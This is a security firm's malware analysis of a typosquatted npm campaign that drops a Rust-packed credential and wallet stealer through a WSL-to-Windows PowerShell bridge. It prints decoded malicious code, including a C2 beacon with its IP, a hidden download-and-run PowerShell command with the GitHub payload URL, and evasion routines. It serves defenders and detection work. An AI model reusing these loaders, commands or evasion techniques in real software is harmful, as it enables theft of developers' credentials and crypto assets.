🚀 أصبحت CloudSek أول شركة للأمن السيبراني من أصل هندي تتلقى استثمارات منها
اقرأ المزيد

In August 2026 an operator published forty packages to the public npm registry, each a misspelling of one of the most-installed libraries in the ecosystem: chalk, axios, commander, lodash, react and typescript. Every package carried an install script. The npm packages have since been removed. The part of the campaign that matters was never on npm. The install script is a courier. It profiles the host, reports to a command-and-control server, and then asks one question: is this machine Windows, or a Windows Subsystem for Linux environment sitting on top of one. If the answer is yes, it decodes a hidden instruction and reaches across the boundary that normally separates a developer's Linux shell from the Windows host underneath it, downloading and running a native Windows executable that the npm package never contained.
That executable is a 22 megabyte Windows program written in Rust, hosted not on npm but as a release asset on GitHub. The npm packages are disposable and are gone; the GitHub payload was not. It outlived them by roughly 39 hours, and its download counter was observed rising from 119 at 01:50 UTC on 17 August to 173 by 18:49 UTC the same day, 54 pulls in under seventeen hours, after the packages that pointed at it had ceased to exist. It was removed only during this analysis: the entire bebraz1 account returned 404 within four hours of that last reading. The npm takedown, on its own, left the weapon in place. Almost none of those 22 megabytes are the program. The executable code is 265 kilobytes, roughly one per cent of the file. The other 98.6 per cent is a single unbroken run of 22,638,592 hexadecimal characters: an 11 megabyte encrypted payload written out as text and carried inside the binary. main.exe is a wrapper: it decodes that text back to bytes, decrypts it, and runs the result inside its own process. Nothing is written to disk and no second process is ever created, which is why an endpoint looking for a dropped file or an unusual child process sees neither.
CloudSEK detonated the executable in an isolated Windows environment. It fingerprints the victim's public IP address and then attempts to upload to gofile.io, an anonymous public file-sharing service. It does not beacon to attacker infrastructure to exfiltrate; it uses a legitimate service that cannot be taken down as though it were a criminal domain. Capturing the guest's memory while the payload was still running recovered what the certificate validation was protecting: the unwrapped stage carries three target lists, already expanded for the victim's account, covering twenty-six desktop cryptocurrency wallet paths, the credential, cookie and history stores of Chromium-family browsers, and the session directory of Telegram Desktop. It carries paths for Brave installations that did not exist on the analysis machine, which is how a hardcoded target list announces itself, and it had already assembled a hardware profile of the machine and the multipart header of the upload. This is a cryptocurrency, browser-credential and messenger-session stealer.
The campaign has two layers with opposite lifespans. The npm layer is loud, cheap and disposable: forty impersonation packages published to a public registry and withdrawn in since removed. The payload layer is quiet and durable: one Rust executable on GitHub and one exfiltration route through a public file host, neither of which the npm takedown affected. Reading the order of work makes the design legible, so the sections that follow trace the same path the malware does, from the install hook to the upload.

Table 1. Timeline. The npm rows are from registry tombstones, which survive the unpublish and are precise to the second. The GitHub rows are from metadata captured before the account was removed and can no longer be re-derived from the source.
The ordering is the part worth dwelling on. The payload was on GitHub twenty-three hours before the first npm package was published — the release went up at 03:19 UTC on 15 August, the first package at 02:28 UTC on 16 August — on infrastructure that does not answer to npm. The couriers then lasted 84 minutes; the payload outlived them by roughly 39 hours. We read that sequencing as deliberate staging, though the ordering is the evidence and the intent is our reading of it.
Each step below was recovered from the packages and the payload directly. The npm packages are removed from the registry, so their contents were read from CloudSEK's archived copies; the payload was read and executed from a hash-verified sample. The order is the order of execution.
Most packages are a single-character or transposition misspelling of a popular library; a minority spell the library correctly and append a plausible sub-package suffix, which is namespace-squatting rather than typosquatting. One is neither. All were published at version 1.0.0 with an install hook. The names cluster into six families by the library they imitate, listed in full in Appendix A. Installing any of them runs scripts/postinstall.js automatically.
The install script reports to a hardcoded command-and-control server. The destination is not written as a string; it is assembled from an array at runtime, so a scanner grepping the package for an IP address finds nothing. What it sends is less than it collects, and the difference is worth stating precisely: the script builds a fuller host profile — Node version, architecture, platform — and then discards it. The request body carries a single coarse label.
const TELEMETRY = {
host: ['193', '70', '34', '101'].join('.'), // = 193.70.34.101 (OVH)
port: 20099,
path: '/vote',
get addon () { return unpackSegment(ADDON_ENC, ADDON_KEY) }
}
collectEnvSnapshot() -> { node, arch, platform } // computed, then DISCARDED
sendInstallMetrics(profile.label)
-> POST /vote body: JSON.stringify({ platform: label })
label is one of 'Windows' | 'MacOS' | 'Linux'
Figure 2. The beacon, from scripts/postinstall.js. The C2 address is built from its octets to defeat string matching. Only a coarse operating-system label is transmitted; the richer profile the script assembles never leaves the machine. The beacon is a census, not a reconnaissance channel.
Before deploying anything to Windows, the script confirms it is somewhere it can reach a Windows host. It treats a native win32 platform as eligible, and it treats a Linux environment as eligible only if that Linux is Windows Subsystem for Linux, which it detects three ways: the environment variables first, then two files under /proc.
function isVirtualizedLinux () {
if (process.platform !== 'linux') return false
if (process.env.WSL_DISTRO_NAME || process.env.WSLENV) return true
const procVersion = fs.readFileSync('/proc/version', 'utf8')
if (/microsoft/i.test(procVersion)) return true
const osRelease = fs.readFileSync('/proc/sys/kernel/osrelease', 'utf8')
if (/microsoft/i.test(osRelease) || /WSL/i.test(osRelease)) return true
return false
}
Figure 3. The WSL detection, from scripts/postinstall.js. A developer running npm install inside WSL is treated as a route onto the Windows machine underneath.
When the gate passes, the script decodes four byte arrays with a repeating-key XOR (the key is the string stf2026) and assembles a download-and-run command. Decoding them recovers the payload URL and a hidden PowerShell bridge in full.
// XOR key: 'stf2026' byte ^ key.charCodeAt(i % key.length)
ADDON_ENC -> https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/
download/null/main.exe
BRIDGE_LAUNCHER -> powershell.exe -WindowStyle Hidden -NoProfile
-NonInteractive -ExecutionPolicy Bypass -Command "
BRIDGE_SCRIPT_PRE -> $p = Join-Path $env:TEMP 'main.exe';
Invoke-WebRequest -Uri '<url above>'
BRIDGE_SCRIPT_POST -> ' -OutFile $p -UseBasicParsing;
Start-Process -FilePath $p -WindowStyle Hidden
Figure 4. The decoded delivery, XOR key stf2026. The payload is downloaded to %TEMP%\main.exe and started with no visible window, executed on the Windows host from the WSL install.
Two choices in that command are worth naming. The download and the execution both run windowless, so nothing appears on the victim's screen. And the whole instruction was carried as encoded bytes inside the npm package, so neither the URL nor the PowerShell was visible to anyone reading the package as text.
The PowerShell bridge is only half the delivery, and defenders should know which half they are looking at. It is the WSL path: the script marks a host as needing the bridge only when the Linux it is running on turns out to be WSL. On a native Windows host there is no PowerShell at all. The install script decodes just the payload URL, downloads it with Node's own HTTPS client, and starts it itself.
native win32 branch — no shell, no PowerShell, no command line
installNativeAddon()
url = unpackSegment(ADDON_ENC, ADDON_KEY) // only this one array is decoded
dest = path.join(process.env.TEMP, 'main.exe')
https.get(url, ...) // Node's own client, not curl/IWR
spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true })
Figure 4b. The other branch. A detection rule keyed on an install hook spawning powershell.exe sees the WSL victims and misses the native-Windows ones entirely, because on that path the Node process performs the download and the launch by itself.
main.exe is a 22 megabyte Windows executable written in Rust. It is hash-identical to the live GitHub asset. The obvious explanation for its size, that Rust links its runtime statically, is wrong, and noticing that it is wrong is what opens the rest of the analysis.
file PE32+ executable (GUI) x86-64, 10 sections, for MS Windows
sha256 6f088ade49456db2422c3edfbb9998f4a3e9cce7c4c00a7279fb45d672a82b7d
size 22,969,344 bytes
build Rust, target x86_64-pc-windows-gnu (msvcrt/ntdll imports; .CRT/.idata sections)
rustc commit 8bab26f4f68e0e26f0bb7960be334d5b520ea452
imports KERNEL32, msvcrt, ntdll, api-ms-win-core-synch (minimal)
section sizes:
.text 265,728 bytes entropy 6.33 <- the entire program
.rdata 22,673,408 bytes entropy 4.02 <- 98.7% of the file
all others combined 29,184 bytes
anti-analysis:
PE TimeDateStamp zeroed to 0 (defeats build-time timeline analysis)
GUI subsystem (runs with no console window)
no endpoints or target paths in cleartext anywhere in the file
Figure 5. Static facts for main.exe. A 265 kilobyte program is carrying a 22 megabyte read-only data section, and that ratio is the anomaly worth pulling on.
An entropy figure of 4.02 across 22 megabytes is the tell. Compressed or encrypted data measures near 8.0 and ordinary program data varies; a section that holds a flat 4.00 for twenty consecutive megabytes is neither. A byte census explains it: the section uses sixteen distinct characters, each at almost exactly 6.25 per cent. Sixteen equally likely symbols carry exactly four bits each, so the entropy is 4.00 by construction. The characters are 0-9 and a-f.
.rdata byte census (22,673,408 bytes)
printable ASCII 99.9% NUL 0.0% bytes >= 0x80 0.0%
most common: 'a' 6.3% '3' 6.3% '8' 6.2% 'f' 6.2% 'd' 6.2%
'2' 6.2% '0' 6.2% 'e' 6.2% ... sixteen symbols, ~6.25% each
entropy per megabyte: 4.00, 4.00, 4.00, 4.00 ... for 20 consecutive megabytes
one contiguous hexadecimal run of 22,638,592 characters begins at file offset 0x43e4c:
52c11f246309cce5556a00408bafb9868622114903dbd8128dc4ce3eca2df27a ...
Figure 6. The read-only data section is not data the compiler put there. It is one enormous hexadecimal string, which is a payload written out as text.
Decoding those characters back to bytes yields 11,319,296 bytes with an entropy of 8.000, the flat maximum. That is encrypted or compressed data and not a program that can be read directly. The wrapper's own code confirms both the size and the method: it allocates exactly that many bytes before it starts decoding, and the decode loop reads the section two characters at a time.
0x140001b60 mov ecx, 0xacb800 ; 11,319,296 - the exact decoded size
0x140001b65 call 0x14000fe20 ; allocate that buffer
0x140001b90 lea rbx, [rip + 0x436b5] ; -> the hexadecimal run
0x140001b9a mov cl, [rbx + r14*2] ; first character of the pair
0x140001b9e lea ebp, [rcx - 0x30] ; '0'-'9'
0x140001baf add cl, 0xa9 ; 'a'-'f'
0x140001bb9 add cl, 0xc9 ; 'A'-'F'
0x140001bc5 mov cl, [rbx + r14*2 + 1] ; second character of the pair
0x140001bff shl bpl, 4 ; high nibble
0x140001c03 add r15b, bpl ; combine into one byte
0x140001c06 mov [rax + r14], r15b ; store
0x140001c15 cmp r14, 0xacb800 ; until the whole payload is decoded
decoded blob: 11,319,296 bytes entropy 8.000 (encrypted, not a plain executable)
sha256 6888d4c54ef2b5bf23889f9637c2efe77e1d2af4724d315b73d646cf5547dc73
Figure 7. The unpacking routine, recovered from the wrapper's code. The constant 0xACB800 recurs through this function — sizing the buffer, setting the vector length, ending the loop — and nine times across the code section in all.
The cipher identifies itself twice over. Near the start of the data section, about eight kilobytes ahead of the hexadecimal run, sits the full sixty-four-entry SHA-256 round-constant table, and immediately above it a sixteen-byte constant two characters away from the ChaCha20 initialisation string. The difference is not a typo: it preserves the length exactly, deleting the n from expand and inserting a 2 before the 32.
0x140043060 65 78 70 61 64 20 32 33 32 2d 62 79 74 65 20 6b |expad 232-byte k|
the algorithm specifies 'expand 32-byte k'
0x140043070 98 2f 8a 42 91 44 37 71 cf fb c0 b5 a5 db b5 e9 SHA-256 round constants
(0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5 ... little-endian)
key material loaded by the unpacking routine:
0x140001c45 32 bytes from .rdata+0x00 b037c12805cbc47ea1247ec2c9e16494
ed61c1982cbd45be3f01ddd9353f026c
0x140001c7e 32 bytes from .rdata+0x20 8b604d8e2079d2375b2888e44ac492dd
5b3f19d74777d91fed30e175df27fa44
0x140001c62 12 bytes as immediates f7d0038f50e382710a33c52e
Figure 8. The cipher constants. Altering the initialisation string costs the author nothing, because the wrapper only ever talks to itself, and it breaks every detection rule written against the standard value.
Reconstructing the decryption from those parameters alone did not reproduce the payload. Neither constant, in either key position, with the twelve-byte value as a nonce, at either counter start, and neither in the extended-nonce variant, produced anything but noise, so the exact construction is not claimed here. It did not need to be solved: the wrapper performs the decryption itself, and the analysis simply had to be present when it did.
One more routine runs before any of this. The wrapper spins a 552,054-iteration loop of arithmetic whose result it never uses, times how long that took, and if it finished in nine milliseconds or less it sleeps for half a second before continuing. A loop that computes nothing exists to consume time, and timing it exists to notice an environment that is not spending real time on it.
0x140001abb mov ebx, 0x1cb6 ; seed
0x140001ac3 call 0x140032c60 ; read the clock
0x140001aeb rol rbx, 3 ; junk arithmetic, result discarded
0x140001aef add rbx, r14
0x140001b08 cmp r14, 0x86c76 ; 552,054 iterations
0x140001b16 call 0x140032df0 ; read the clock again
0x140001b3b mov r8d, 9 ; compare elapsed against 9 ms
0x140001b4b mov edx, 0x1dcd6500 ; 500,000,000 ns
0x140001b50 call 0x140040000 ; ... and sleep half a second
Figure 9. The stall. It delays execution and measures the delay, which is how a sample checks whether it is being run somewhere that hurries it along.
Finally, the wrapper tells you what it intends to produce. Three fragments sit together in the data section: a filename stem, an extension, and a complete .NET application configuration file. A .exe.config is only meaningful next to a real executable on disk, and this one names the runtime that executable needs.
ez_run_ .exe exe.config<?xml version="1.0" encoding="utf-8" ?><configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
<supportedRuntime version="v4.0"/>
<supportedRuntime version="v2.0.50727"/>
</startup></configuration>
[LOG] Payload unpacking and decryption completed in
cmd.exe /e:ON /v:OFF /d /c "
Figure 10. The wrapper's own strings, as they appear in the file: a filename stem, an extension, and a complete .NET application configuration that asks for Framework 4.8 and falls back through v4.0 to CLR v2.0.50727. They describe a drop-and-run path — write ez_run_<name>.exe with a matching configuration beside it — that this build never took under observation: across repeated executions no such file appeared and no .NET runtime was ever loaded. The strings are best read as the packer's general capability rather than as this sample's behaviour. The log line is real; the wrapper does time its own unpacking.
Because nothing useful is readable in the file, the payload's behaviour was established by executing it in an isolated Windows environment with no route to the internet, where a synthetic network answered its requests convincingly and recorded them.
The payload fires almost immediately and is finished in well under a minute. Sampling the process list once a second across a run gives the shape of it: the process appears, its working set jumps from 2.6 megabytes to 52 megabytes in about a second as the wrapper decodes and decrypts eleven megabytes in memory, it holds there while it works, and then it is gone.

Figure 11. The payload running in the analysis guest. The loop samples the process list about every three seconds — tasklist is not free on a two-core guest — so these seven lines span roughly twenty-three seconds. The jump from 2,608 K to 52,112 K between the first and second samples is the unpacking: the hexadecimal text being turned back into an eleven megabyte executable in memory.
Against the clock, the sequence is tight. The launch instant is recorded inside the guest, by the harness script that starts the sample and writes its own timestamp; the two network requests are recorded host-side by the synthetic network. Measuring one against the other gives the reconnaissance call at 18.9 and 20.0 seconds after launch in the two runs where both records survive, and the upload attempt 0.18 seconds after that.